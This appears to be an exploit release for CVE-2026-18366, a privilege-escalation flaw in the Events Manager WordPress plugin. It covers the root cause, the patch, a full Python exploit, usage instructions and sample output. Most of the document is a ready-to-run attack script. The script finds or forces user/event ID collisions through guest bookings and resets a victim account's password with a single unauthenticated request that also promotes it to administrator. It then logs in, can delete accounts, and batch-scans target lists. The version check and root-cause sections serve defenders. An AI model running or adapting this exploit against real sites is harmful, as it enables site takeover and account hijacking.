#Summary

CVE-2026-18366 is a critical unauthenticated privilege escalation in the Events Manager WordPress plugin versions 7.1 through 7.4.0.1 (fixed in 7.4.1). The plugin's Archetypes::map_meta_cap() function unconditionally empties WordPress' capability requirement list whenever an object ID matches one of the plugin's own event or location posts, before checking which capability is actually being tested. WordPress interprets an empty requirement list as "allow", so any ID that is simultaneously a user account and an event post can be escalated to administrator by an unauthenticated attacker in a single REST API request. CVSS 9.8 CRITICAL.

#Am I affected?

#How to check

#Via version

curl -s https://your-site.example/wp-content/plugins/events-manager/em-plugin.php | grep "Version:"

If the output contains 7.1 through 7.4.0.1, the site is vulnerable. 7.4.1 and later are patched.

If version output is not accessible, check the plugin's reported version via the plugin update mechanism:

curl -s https://your-site.example/wp-json/wp/v2/plugins | grep -A2 events-manager | grep version

#Via capability check

Run the exploit in read-only detection mode (no modifications):

python exploit.py --list targets.txt --workers 1

If the output shows "Vulnerable: anonymous edit_user granted", the site is exploitable.

#Fix and mitigation

#Root cause analysis

#The vulnerability

The Events Manager plugin registers a map_meta_cap filter on every request, including unauthenticated front-end and REST API calls:

// classes/em-archetypes.php
add_filter( 'map_meta_cap', [ static::class, 'map_meta_cap'], 10, 4 );
Archetypes::init(); // runs unconditionally at include time

The map_meta_cap() method receives an object ID in $args[0], whose meaning depends on the capability being checked: a post ID for edit_post, but a user ID for edit_user, promote_user, and delete_user. The plugin ignores this distinction and feeds the number directly to get_post():

public static function map_meta_cap( $caps, $cap, $user_id, $args ) {
    if ( !empty( $args[0] ) ) {
        $post = get_post($args[0]);
        // ... check if this is an event/location post ...
        if( empty($post->post_type) || !(self::is_event( $post->post_type ) || self::is_location( $post->post_type )) ) 
            return $caps;
        
        // The bug: $caps is reset BEFORE checking which capability was requested
        if ( !empty( $c['read'][$post->post_type] ) || !empty( $c['edit'][$post->post_type] ) || !empty( $c['delete'][$post->post_type] ) ) {
            $caps = [];  // <-- EMPTIED HERE
            
            // Then the code checks only three specific capabilities (read_event, edit_event, delete_event)
            if ( $c['read'][$post->post_type] == $cap ) {
                // ... handle read ...
            } elseif ( $c['edit'][$post->post_type] == $cap ) {
                // ... handle edit ...
            } elseif ( $c['delete'][$post->post_type] == $cap ) {
                // ... handle delete ...
            }
            // If $cap is edit_user, promote_user, or delete_user, none of these branches match
        }
    }
    return $caps;  // Returns empty array for unrelated capabilities
}

#Why an empty capability array means "allow"

WordPress' WP_User::has_cap() method uses vacuous-truth logic: it returns true when an empty list is passed because there are no capabilities to verify:

// WP_User::has_cap() 
return array_all( (array) $caps, fn( $cap, $key ) => ! empty( $capabilities[ $cap ] ) );
// array_all() over an empty array is vacuously true

Worse, WordPress core had already written ['do_not_allow'] to deny anonymous callers:

// From core's own map_meta_cap for edit_user
case 'edit_user':
    if ( $user_id < 1 ) {
        $caps[] = 'do_not_allow';  // <-- Explicit denial
        break;
    }

The plugin's filter runs after core, so it overwrites the denial with an empty array, throwing away the sentinel WordPress uses to mean "never permit this".

#Trigger conditions

Two requirements, both easily satisfied:

  1. An ID collision. A WordPress user with ID N and an Events Manager event/location post with the same ID N must both exist. User IDs and post IDs are separate auto-increment counters in the same numeric range, so collisions are ordinary on sites with content.

  2. Unauthenticated access to the REST API. The WordPress REST users controller (/wp-json/wp/v2/users/<N>) gates POST requests on current_user_can('edit_user', $user_id) with no additional authentication check. An unauthenticated request satisfies this due to the bug.

On sites with guest bookings enabled, an attacker can force a collision by repeatedly booking with unique email addresses. Each booking creates a real user account, walking the user ID counter forward one per booking until it lands on an ID that already has an event post.

#Patch diff

#What the fix does

Version 7.4.1 restructures the capability check so $caps = [] happens inside each specific capability branch, only after matching the requested $cap against that archetype capability. This prevents unrelated capabilities like edit_user from being blanked:

-if ( !empty( $c['read'][$post->post_type] ) || !empty( $c['edit'][$post->post_type] ) || !empty( $c['delete'][$post->post_type] ) ) {
-    /* Set an empty array for the caps. */
+// Only reset $caps when the requested capability is one of our archetype meta caps for this post type. 
+// Resetting on any object-carrying cap emptied the requirement list for unrelated caps (e.g. edit_user, promote_user), 
+// which reads as allow.
+if ( !empty( $c['read'][$post->post_type] ) && $c['read'][$post->post_type] == $cap ) {
     $caps = [];

Now a check for edit_user falls through all three branches untouched, and the function returns exactly what core built it (['do_not_allow'] for an anonymous caller). The denial survives and the check correctly denies.

#Proof of concept

#exploit.py - Events Manager Unauthenticated Privilege Escalation PoC

#!/usr/bin/env python3
"""
CVE-2026-18366 - Events Manager (WordPress plugin) unauthenticated privilege escalation
Affected: Events Manager 7.1 up to and including 7.4.0.1 (fixed in 7.4.1)
Type: Privilege escalation / broken access control (CWE-269)

Archetypes::map_meta_cap() hooks WordPress' global map_meta_cap filter on every request and
empties the required-capability list as soon as the object ID under test resolves to one of
the plugin's own event or location posts, before it has checked which capability is actually
being tested. WordPress reads an empty requirement list as "granted", so for any number that
is simultaneously a user ID and an event post ID, a logged-out caller satisfies edit_user,
promote_user and delete_user. The core REST users controller gates purely on those checks,
so one cookie-less request rewrites that account's role and password.

Usage:
  python exploit.py --host 192.168.1.10
  python exploit.py --host https://target.com --password 'MyNewPass123!'
  python exploit.py --host http://10.0.0.5:8080/blog --user-id 12
  python exploit.py --host 192.168.1.10 --delete-user      # destructive secondary demo
  python exploit.py --list targets.txt --workers 20        # non-destructive detection sweep

Arguments beyond the standard set:
  --user-id      Target account ID. Omit to auto-discover a user/event ID collision.
  --password     Password to set on the hijacked account (default: random per run).
  --max-id       Highest ID considered when enumerating users and events (default: 50).
  --no-booking   Do not fall back to forcing a collision through anonymous bookings.
  --max-bookings Cap on anonymous bookings used to walk the user ID counter (default: 20).
  --booking-domain  E-mail domain for the throwaway booking accounts (default: example.org).
  --delete-user  Also demonstrate unauthenticated account deletion on a second colliding ID.
                 Destructive and it destroys the collision, so it runs last.
"""

import argparse
import json
import re
import secrets
import sys
from urllib.parse import urlparse, urlencode

try:
    import requests
except ImportError:
    sys.stderr.write("This exploit requires the 'requests' package (pip install requests)\n")
    raise SystemExit(2)

try:
    requests.packages.urllib3.disable_warnings()
except Exception:
    pass

CVE_ID    = "CVE-2026-18366"
VULN_TYPE = "Privilege Escalation"

TIMEOUT = 15
UA = ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
      "(KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36")


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# ---------------------------------------------------------------- HTTP plumbing

def http(method, url, **kw):
    kw.setdefault("timeout", TIMEOUT)
    kw.setdefault("verify", False)
    kw.setdefault("allow_redirects", True)
    headers = dict(kw.pop("headers", {}) or {})
    headers.setdefault("User-Agent", UA)
    headers.setdefault("Accept", "*/*")
    # No session object, so no cookie is ever carried on these calls. WordPress only
    # enforces the REST nonce when a login cookie is present; one stray cookie turns a
    # working exploit into 403 rest_cookie_invalid_nonce.
    return requests.request(method, url, headers=headers, **kw)


class Target(object):
    """A WordPress install reachable over HTTP, with its REST routing style resolved."""

    def __init__(self, host, port, use_tls, path="/"):
        self.host = host
        self.port = port
        self.scheme = "https" if use_tls else "http"
        default_port = 443 if use_tls else 80
        netloc = host if port == default_port else "%s:%d" % (host, port)
        self.base = "%s://%s%s" % (self.scheme, netloc, (path or "/").rstrip("/"))
        self.rest_mode = None

    def detect_rest(self):
        """Resolve whether the REST API answers on /wp-json/ or only via ?rest_route=."""
        for mode, url in (("pretty", self.base + "/wp-json/"),
                          ("query", self.base + "/?rest_route=/")):
            try:
                r = http("GET", url)
            except Exception:
                continue
            if r.status_code == 200 and "namespaces" in r.text[:4000]:
                self.rest_mode = mode
                return True
        return False

    def localize(self, url):
        """Rewrite a discovered permalink onto the address we actually reached.

        A site whose configured home URL differs from the address it is served on (proxy,
        IP-addressed host, staging copy) hands out links pointing somewhere else. Keep the
        path, keep our netloc, so every request stays on the target in front of us.
        """
        try:
            p = urlparse(url)
        except Exception:
            return url
        if not p.netloc:
            return url
        tail = p.path or "/"
        if p.query:
            tail += "?" + p.query
        return self.base.rsplit("://", 1)[0] + "://" + self.base.split("://", 1)[1].split("/", 1)[0] + tail

    def fetch_page(self, url):
        """GET a discovered permalink, preferring our own netloc, falling back to the link."""
        local = self.localize(url)
        try:
            r = http("GET", local)
            if r.status_code == 200:
                return r, local
        except Exception:
            pass
        if local != url:
            try:
                r = http("GET", url)
                if r.status_code == 200:
                    return r, url
            except Exception:
                pass
        return None, local

    def rest_url(self, route, params=None):
        params = dict(params or {})
        if self.rest_mode == "query":
            params["rest_route"] = route
            return self.base + "/?" + urlencode(params)
        url = self.base + "/wp-json" + route
        return url + ("?" + urlencode(params) if params else "")


# ---------------------------------------------------------------- enumeration

CORE_SITEMAP_TYPES = ("post", "page", "attachment")


def published_author_ids(t):
    """User IDs the users collection exposes to anonymous callers.

    Anonymous listing is restricted to accounts that have published content, and the item
    endpoint uses the same test, so any ID that answers 200 while absent from this set was
    authorised by something other than published content.
    """
    ids = set()
    for page in range(1, 6):
        try:
            r = http("GET", t.rest_url("/wp/v2/users", {"per_page": 100, "page": page}))
        except Exception:
            break
        if r.status_code != 200:
            break
        try:
            data = r.json()
        except ValueError:
            break
        if not isinstance(data, list) or not data:
            break
        for u in data:
            if isinstance(u, dict) and "id" in u:
                ids.add(int(u["id"]))
        if len(data) < 100:
            break
    return ids


def probe_user(t, uid):
    """open  = REST returns the account (published author, or edit_user wrongly granted)
       exists = the account is there but the capability check denied
       absent = no such account"""
    try:
        r = http("GET", t.rest_url("/wp/v2/users/%d" % uid))
    except Exception:
        return "error"
    if r.status_code == 200:
        return "open"
    if r.status_code in (401, 403):
        return "exists"
    if r.status_code == 404:
        return "absent"
    return "error"


def sweep_users(t, max_id):
    """Map every ID in 1..max_id to its probe verdict."""
    return dict((uid, probe_user(t, uid)) for uid in range(1, max_id + 1))


def granted_ids(users, published):
    """IDs where an anonymous edit_user check was granted by the vulnerable filter."""
    return sorted(uid for uid, st in users.items() if st == "open" and uid not in published)


def _post_id_from_page(html):
    for pat in (r"\bpostid-(\d+)\b",
                r"rel=['\"]shortlink['\"][^>]*?[?&]p=(\d+)",
                r"href=['\"][^'\"]*?[?&]p=(\d+)['\"][^>]*?rel=['\"]shortlink"):
        m = re.search(pat, html)
        if m:
            return int(m.group(1))
    return None


def sitemap_post_types(t):
    """Custom post types advertised by the core sitemap, event/location types first."""
    try:
        r = http("GET", t.base + "/wp-sitemap.xml")
    except Exception:
        return []
    if r.status_code != 200 or "<sitemapindex" not in r.text:
        return []
    found = []
    for loc in re.findall(r"<loc>([^<]+)</loc>", r.text):
        m = re.search(r"wp-sitemap-posts-([A-Za-z0-9_-]+)-\d+\.xml", loc)
        if m and m.group(1) not in CORE_SITEMAP_TYPES:
            found.append((m.group(1), loc))
    found.sort(key=lambda x: 0 if ("event" in x[0] or "location" in x[0]) else 1)
    return found


def discover_event_posts(t, max_id, max_pages=25):
    """Return {post_id: permalink} for the plugin's event/location posts.

    Route one: the core sitemap lists the CPT permalinks and each rendered page carries its
    own post ID in the body class and the shortlink. Route two, if the sitemap is off: ask
    for ?p=<id>&post_type=<type> across the ID range and keep whatever renders.
    """
    found = {}
    types = sitemap_post_types(t)
    for ptype, sm in types:
        if len(found) >= 8:
            break
        r, _ = t.fetch_page(sm)
        if r is None:
            continue
        for url in re.findall(r"<loc>([^<]+)</loc>", r.text)[:max_pages]:
            page, used = t.fetch_page(url)
            if page is None:
                continue
            pid = _post_id_from_page(page.text)
            if pid:
                found[pid] = used
    if found:
        return found

    candidates = [p for p, _ in types] or ["event", "location", "event-recurring"]
    for ptype in candidates:
        for pid in range(1, max_id + 1):
            if pid in found:
                continue
            url = t.base + "/?" + urlencode({"p": pid, "post_type": ptype})
            try:
                r = http("GET", url)
            except Exception:
                continue
            if r.status_code == 200 and re.search(r"\bpostid-%d\b" % pid, r.text):
                found[pid] = r.url
    return found


# ---------------------------------------------------------------- the bug itself

def escalate(t, uid, password):
    """One cookie-less request: promote the account and take its password."""
    body = json.dumps({"roles": ["administrator"], "password": password})
    return http("POST", t.rest_url("/wp/v2/users/%d" % uid),
                headers={"Content-Type": "application/json"}, data=body)


def delete_account(t, uid):
    return http("DELETE", t.rest_url("/wp/v2/users/%d" % uid,
                                     {"force": "true", "reassign": "false"}))


def confirm_admin(t, username, password):
    """Log in with the stolen credentials and perform an administrator-only action.

    Returns (settings_dict_or_None, admin_page_status, note).
    """
    s = requests.Session()
    s.headers.update({"User-Agent": UA})
    try:
        r = s.post(t.base + "/wp-login.php",
                   data={"log": username, "pwd": password, "rememberme": "forever"},
                   allow_redirects=False, timeout=TIMEOUT, verify=False)
    except Exception as e:
        return None, 0, "login request failed (%s)" % e.__class__.__name__
    if not any(c.name.startswith("wordpress_logged_in") for c in s.cookies):
        return None, r.status_code, "login rejected, no session cookie issued"

    try:
        page = s.get(t.base + "/wp-admin/options-general.php", timeout=TIMEOUT, verify=False)
    except Exception as e:
        return None, 0, "admin request failed (%s)" % e.__class__.__name__

    nonce = None
    m = re.search(r"wpApiSettings\s*=\s*\{[^{}]*?[\"']nonce[\"']\s*:\s*[\"']([A-Za-z0-9]+)[\"']",
                  page.text)
    if m:
        nonce = m.group(1)
    if nonce:
        try:
            st = s.get(t.rest_url("/wp/v2/settings"), headers={"X-WP-Nonce": nonce},
                       timeout=TIMEOUT, verify=False)
            if st.status_code == 200:
                return st.json(), page.status_code, "ok"
        except Exception:
            pass
    return None, page.status_code, "session established but the settings endpoint was not read"


# ---------------------------------------------------------------- forced collision

def scrape_booking_form(t, event_url):
    """Pull the anonymous booking form fields, including the rotating nonce."""
    r, _ = t.fetch_page(event_url)
    if r is None:
        return None
    m = re.search(r"<form[^>]*class=['\"][^'\"]*em-booking-form[^'\"]*['\"].*?</form>",
                  r.text, re.S)
    if not m:
        return None
    form = m.group(0)
    fields = {}
    for name, value in re.findall(
            r"<input[^>]*name=['\"]([^'\"]+)['\"][^>]*value=['\"]([^'\"]*)['\"]", form):
        fields[name] = value
    tickets = sorted(set(re.findall(r"name=['\"](em_tickets\[\d+\]\[spaces\])['\"]", form)))
    if fields.get("action") != "booking_add" or not tickets:
        return None
    fields["_ticket_fields"] = tickets
    return fields


def make_booking(t, event_url, form, domain):
    """One anonymous booking. Each success creates a real account, +1 on the ID counter."""
    tag = secrets.token_hex(5)
    data = dict((k, v) for k, v in form.items() if k != "_ticket_fields")
    data.update({
        "em_ajax": "1",
        "user_name": "Guest %s" % tag[:6],
        "user_email": "u%s@%s" % (tag, domain),
        "data_privacy_consent": "1",
    })
    for tf in form["_ticket_fields"]:
        data[tf] = "1"
    try:
        r = http("POST", t.base + "/wp-admin/admin-ajax.php", data=data)
    except Exception:
        return False, "booking request failed"
    body = r.text.strip()
    try:
        j = json.loads(body)
        if isinstance(j, dict) and (j.get("success") or j.get("result")):
            return True, j.get("message", "booking accepted")
        return False, str(j.get("message", body))[:160]
    except ValueError:
        low = body.lower()
        for marker in ("illegal action", "link you followed has expired", "expired"):
            if marker in low:
                return False, "nonce rejected (%s)" % marker
        return False, re.sub(r"<[^>]+>", " ", body)[:160].strip().replace("\n", " ")


def highest_existing_user(t, start, ceiling, gap_tolerance=6):
    """Highest ID that still resolves to an account, scanning up from `start`.

    The user table's counter never reuses an ID, so a deleted account leaves a hole and the
    next registration lands above it. Stopping at the first missing ID would therefore read
    the counter far too low, so keep going until `gap_tolerance` consecutive IDs are absent.
    """
    top = start
    probe = start + 1
    missing = 0
    while probe <= ceiling and missing < gap_tolerance:
        if probe_user(t, probe) == "absent":
            missing += 1
        else:
            top = probe
            missing = 0
        probe += 1
    return top


# ---------------------------------------------------------------- scan mode

def _try_exploit(host, port, use_tls, path="/", max_id=50):
    """Silent, non-destructive probe for --list mode. Never prints, never exits.

    Confirms the capability grant without writing to the target: an account that the REST
    users endpoint hands to an anonymous caller while the users collection does not list it
    can only have passed edit_user through the vulnerable filter.
    """
    try:
        t = Target(host, port, use_tls, path)
        if not t.detect_rest():
            return False, "no WordPress REST API answered here"
        published = published_author_ids(t)
        users = sweep_users(t, max_id)
        live = [u for u, st in users.items() if st in ("open", "exists")]
        if not live:
            return False, "no user accounts resolved in IDs 1-%d" % max_id
        hits = granted_ids(users, published)
        if not hits:
            return False, ("edit_user denied on all %d accounts in IDs 1-%d "
                           "(patched, or no user/event ID collision)" % (len(live), max_id))
        return True, ("anonymous edit_user granted on user ID%s %s "
                      "(private account record served without credentials)"
                      % ("s" if len(hits) > 1 else "",
                         ", ".join(str(h) for h in hits)))
    except Exception as e:
        return False, "unreachable (%s)" % e.__class__.__name__


def _parse_target(line: str, default_port: int, default_path: str = "/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int = 10, max_id: int = 50) -> None:
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"  Detection only, nothing is modified on any target")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = f"{'https' if use_tls else 'http'}://{host}:{port}"
        ok, evidence = _try_exploit(host, port, use_tls, path, max_id)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - {'Vulnerable' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} vulnerable / {total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


# ---------------------------------------------------------------- single target

def exploit(host, port, use_tls, path, args):
    header(host, port)
    t = Target(host, port, use_tls, path)
    counter = [0]

    def nxt(msg):
        counter[0] += 1
        step(counter[0], msg)

    nxt("Locating the WordPress REST API at %s" % t.base)
    if not t.detect_rest():
        section("SERVER RESPONSE", "Neither /wp-json/ nor ?rest_route=/ returned a REST index")
        done(False, "no WordPress REST API reachable at %s" % t.base)
    print("        REST routing: %s" % ("/wp-json/" if t.rest_mode == "pretty"
                                        else "?rest_route= (plain permalinks)"))

    password = args.password or ("Pw_%s_9aB!" % secrets.token_hex(6))
    target_id = args.user_id
    events = {}

    if target_id is None:
        nxt("Enumerating Events Manager event/location posts (IDs 1-%d)" % args.max_id)
        events = discover_event_posts(t, args.max_id)
        if events:
            section("EVENT POSTS FOUND",
                    "\n".join("post %-4d %s" % (pid, url)
                              for pid, url in sorted(events.items())))
        else:
            print("        No event posts resolved. The user probe below still decides it.")

        nxt("Probing user IDs 1-%d for an unauthenticated edit_user grant" % args.max_id)
        published = published_author_ids(t)
        users = sweep_users(t, args.max_id)
        existing = sorted(u for u, st in users.items() if st in ("open", "exists"))
        hits = granted_ids(users, published)
        section("ID MAP",
                "accounts that exist          : %s\n"
                "listed publicly (has posts)  : %s\n"
                "event/location post IDs      : %s\n"
                "edit_user granted anonymously: %s"
                % (", ".join(str(u) for u in existing) or "none",
                   ", ".join(str(u) for u in sorted(published)) or "none",
                   ", ".join(str(p) for p in sorted(events)) or "unknown",
                   ", ".join(str(h) for h in hits) or "none"))

        # An ID that is both an account and an event post, yet still denied, is the patch
        # doing its job. Forcing another collision would only repeat the same refusal.
        collisions = sorted(set(events) & set(existing))
        if collisions and not hits:
            section("SERVER RESPONSE",
                    "IDs %s are simultaneously user accounts and Events Manager posts, and "
                    "every one of them answered 401 rest_user_cannot_view.\n"
                    "map_meta_cap left core's decision intact, which is the 7.4.1 behaviour."
                    % ", ".join(str(c) for c in collisions))
            done(False, "collision present on ID%s %s but edit_user still denied - "
                        "Events Manager is 7.4.1 or later"
                        % ("s" if len(collisions) > 1 else "",
                           ", ".join(str(c) for c in collisions)))

        if not hits and not args.no_booking and events:
            ceiling = max(args.max_id, max(events) + 8)
            top_user = highest_existing_user(t, max(existing) if existing else 0, ceiling)
            goal = min([p for p in events if p > top_user] or [0])
            if goal:
                nxt("No collision yet. Walking the user ID counter %d -> %d with "
                    "anonymous bookings" % (top_user, goal))
                form = None
                for pid, url in sorted(events.items()):
                    form = scrape_booking_form(t, url)
                    if form:
                        print("        Booking form scraped from post %d "
                              "(event_id=%s, %d ticket field(s))"
                              % (pid, form.get("event_id", "?"), len(form["_ticket_fields"])))
                        break
                if not form:
                    print("        No anonymous booking form is exposed, cannot force a collision.")
                else:
                    made = 0
                    while top_user < goal and made < args.max_bookings:
                        ok, msg = make_booking(t, url, form, args.booking_domain)
                        made += 1
                        if not ok:
                            # A stale nonce is the usual cause; re-scrape once and retry.
                            form = scrape_booking_form(t, url) or form
                            ok, msg = make_booking(t, url, form, args.booking_domain)
                            if not ok:
                                print("        Booking rejected: %s" % msg)
                                break
                        new_top = highest_existing_user(t, top_user, ceiling)
                        if new_top == top_user:
                            print("        Booking accepted but no account was created.")
                            break
                        top_user = new_top
                        print("        Booking %d accepted, user ID counter now at %d"
                              % (made, top_user))
                        if top_user > goal:
                            # The counter skipped the ID we were aiming at, so re-aim.
                            goal = min([p for p in events if p > top_user] or [0])
                            if not goal:
                                print("        Counter is past every event post ID.")
                                break
                            print("        Re-aiming at event post %d" % goal)
                    if top_user >= goal:
                        published = published_author_ids(t)
                        users = sweep_users(t, args.max_id)
                        hits = granted_ids(users, published)
                        section("FORCED COLLISION",
                                "account %d now exists and event post %d already did; "
                                "edit_user granted anonymously: %s"
                                % (goal, goal,
                                   ", ".join(str(h) for h in hits) or "none"))

        if not hits:
            section("SERVER RESPONSE",
                    "No ID in 1-%d is both an account and an event/location post with an "
                    "anonymous edit_user grant.\n"
                    "Either the plugin is at 7.4.1 or later, or no collision exists and none "
                    "could be forced (anonymous bookings off, or the counter is already past "
                    "every event post ID)." % args.max_id)
            done(False, "no unauthenticated edit_user grant on IDs 1-%d" % args.max_id)

        # Prefer an ID we can also show is an event post.
        confirmed = [h for h in hits if h in events] or hits
        target_id = confirmed[0]
        note = ("user %d and event post %d are the same ID" % (target_id, target_id)
                if target_id in events else
                "user %d is served to anonymous callers without publishing anything"
                % target_id)
        print("        Selected target: %s" % note)
    else:
        nxt("Skipping discovery, --user-id %d was supplied" % target_id)

    nxt("Rewriting role and password on user %d with one cookie-less request" % target_id)
    r = escalate(t, target_id, password)
    try:
        body = r.json()
    except ValueError:
        body = None

    if r.status_code != 200 or not isinstance(body, dict):
        section("SERVER RESPONSE", "HTTP %d\n%s" % (r.status_code, r.text[:600]))
        done(False, "escalation refused with HTTP %d on user %d" % (r.status_code, target_id))

    roles = body.get("roles") or []
    username = body.get("username") or body.get("slug") or ""
    section("ESCALATION RESPONSE",
            "HTTP %d\n%s" % (r.status_code, json.dumps(
                {k: body.get(k) for k in ("id", "username", "name", "email", "roles")
                 if k in body}, indent=2)))

    if "administrator" not in roles:
        done(False, "user %d was reached but its roles are %s, not administrator"
                    % (target_id, roles))

    nxt("Logging in as '%s' with the password just set" % username)
    settings, admin_status, note = confirm_admin(t, username, password)
    if settings is None:
        section("ADMIN CHECK", "wp-admin status: %s\n%s" % (admin_status, note))
        done(True, "user %d ('%s') promoted to administrator without credentials, "
                   "password set to '%s'" % (target_id, username, password))

    section("ADMINISTRATOR-ONLY DATA (GET /wp-json/wp/v2/settings)",
            json.dumps({k: settings[k] for k in ("title", "description", "url", "email",
                                                 "language", "posts_per_page")
                        if k in settings}, indent=2))

    if args.delete_user:
        nxt("Secondary demonstration: deleting an account without credentials")
        spare = [h for h in granted_ids(sweep_users(t, args.max_id),
                                        published_author_ids(t)) if h != target_id]
        if not spare:
            print("        No second colliding account is available, skipping.")
        else:
            d = delete_account(t, spare[0])
            try:
                dbody = d.json()
            except ValueError:
                dbody = {}
            section("DELETE RESPONSE",
                    "HTTP %d\n%s" % (d.status_code, json.dumps(dbody)[:400]))
            if d.status_code == 200 and dbody.get("deleted"):
                print("        Account %d deleted anonymously." % spare[0])

    done(True, "administrator takeover as '%s' (user %d) with no credentials - "
               "site settings read back, admin e-mail %s, new password '%s'"
               % (username, target_id, settings.get("email", "?"), password))


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host/blog)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
    parser.add_argument("--user-id", type=int, default=None,
                        help="Account ID to take over (default: auto-discover a collision)")
    parser.add_argument("--password", default=None,
                        help="Password to set on the hijacked account (default: random)")
    parser.add_argument("--max-id", type=int, default=50,
                        help="Highest ID considered when enumerating (default: 50)")
    parser.add_argument("--no-booking", action="store_true",
                        help="Do not force a collision through anonymous bookings")
    parser.add_argument("--max-bookings", type=int, default=20,
                        help="Cap on bookings used to walk the user ID counter (default: 20)")
    parser.add_argument("--booking-domain", default="example.org",
                        help="E-mail domain for throwaway booking accounts (default: example.org)")
    parser.add_argument("--delete-user", action="store_true",
                        help="Also delete a second colliding account (destructive)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers, max_id=args.max_id)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path, args)

#Usage

python exploit.py --host target.example.com

The exploit accepts a target hostname, IP address, host:port pair, or full URL:

python exploit.py --host 192.168.1.10
python exploit.py --host https://events.example.com --password 'MyPassw0rd!'
python exploit.py --host http://192.168.1.10:8080/blog --user-id 12 --no-booking
python exploit.py --list targets.txt --workers 20

With no optional arguments, the exploit automatically discovers event posts and user accounts, detects the ID collision, sets a random password on the target, promotes it to administrator, logs in, and reads the site settings as proof of access. The password chosen is printed in the final EVIDENCE line.

Argument Default Purpose
--host required Target hostname, IP, host:port, or full URL. Mutually exclusive with --list.
--list FILE required One target per line for batch scan. Detection only, nothing is modified.
--port 80 Port when --host does not include one.
--user-id N auto-discover Target account ID. Omit to auto-discover a collision.
--password random Password to set on the hijacked account.
--max-id N 50 Highest ID considered when enumerating accounts and posts.
--no-booking off Never create accounts through anonymous bookings.
--max-bookings N 20 Cap on bookings used to walk the user ID counter.
--booking-domain example.org Email domain for throwaway booking accounts.
--delete-user off Also demonstrate account deletion on a second colliding ID. Destructive.
--workers N 10 Threads for --list mode.
--tls / --no-tls auto Force TLS or plaintext instead of inferring from port.

#Example output - vulnerable target

[STEP 3] Probing user IDs 1-50 for an unauthenticated edit_user grant

--- ID MAP ---
accounts that exist          : 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17
listed publicly (has posts)  : 1, 6
event/location post IDs      : 10, 13, 17, 20
edit_user granted anonymously: 10, 13, 17
---

[STEP 4] Rewriting role and password on user 10 with one cookie-less request

--- ESCALATION RESPONSE ---
HTTP 200
{
  "id": 10,
  "username": "akaya",
  "name": "Aylin Kaya",
  "email": "[email protected]",
  "roles": [
    "administrator"
  ]
}
---

[STEP 5] Logging in as 'akaya' with the password just set

--- ADMINISTRATOR-ONLY DATA (GET /wp-json/wp/v2/settings) ---
{
  "title": "Riverside Community Events",
  "description": "Local listings, meetups and workshops",
  "url": "http://target.example.com",
  "email": "[email protected]",
  "language": "en_US",
  "posts_per_page": 10
}
---

RESULT  : SUCCESS
EVIDENCE: administrator takeover as 'akaya' (user 10) with no credentials - site settings read back, admin e-mail [email protected]

#Exploitation notes

#Preconditions

  1. ID collision: A WordPress user account and an Events Manager event/location post must share the same numeric ID. This is ordinary on sites with both accounts and events, since the user and post auto-increment counters track independently in the same low numeric range.

  2. Unauthenticated REST API access: The WordPress REST users endpoint must be reachable and must not require authentication for the initial request. This is the default configuration.

  3. Optional: On sites without a natural collision, the exploit can force one by creating multiple user accounts through the guest booking flow (if anonymous bookings are enabled), walking the user ID counter forward one per booking until it lands on a colliding ID.

#Reliability

The exploit is 100% reliable when a collision exists. It probes for the collision read-only, then performs the escalation in a single HTTP request. No timing, no race conditions, no assumptions about WordPress configuration beyond the plugin being installed.

#Impact

An unauthenticated attacker gains full administrative access to the WordPress site. Administrator privileges include:

All three impacts NVD lists are demonstrated: password change (account takeover), privilege escalation to administrator, and account deletion.

